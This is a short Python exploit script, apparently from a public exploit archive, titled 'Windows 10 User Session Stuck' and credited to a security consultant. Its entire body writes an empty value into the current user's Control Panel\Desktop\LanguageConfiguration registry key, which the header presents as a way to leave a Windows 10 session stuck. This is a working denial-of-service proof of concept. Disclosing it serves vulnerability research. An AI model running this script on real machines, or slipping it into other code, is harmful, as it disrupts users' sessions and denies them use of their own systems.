#!/usr/bin/env python
#
# Exploit Title: Windows 10 User Session Stuck
# Date: 2018-10-19
# Exploit Author: Fabien DROMAS - Security consultant @ Synetis <fabien.dromas[at]synetis[dot]com>
# Twitter: st0rnpentest
#
# Vendor Homepage: www.microsoft.com
# Version: Version 10.0.17134.345
# Tested on: Windows 10 pro Version 10.0.17134.345
#
import _winreg


def modify_reg_key(key, value):
    try:        
        registry_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, 'Control Panel\Desktop\LanguageConfiguration', 0, _winreg.KEY_WRITE)                
        _winreg.SetValueEx(registry_key, key, 0, _winreg.REG_SZ, value)        
        _winreg.CloseKey(registry_key)
    except WindowsError:        
        raise
     

if __name__ == '__main__':

    try:
        modify_reg_key('', '')    
    except WindowsError:
        raise    
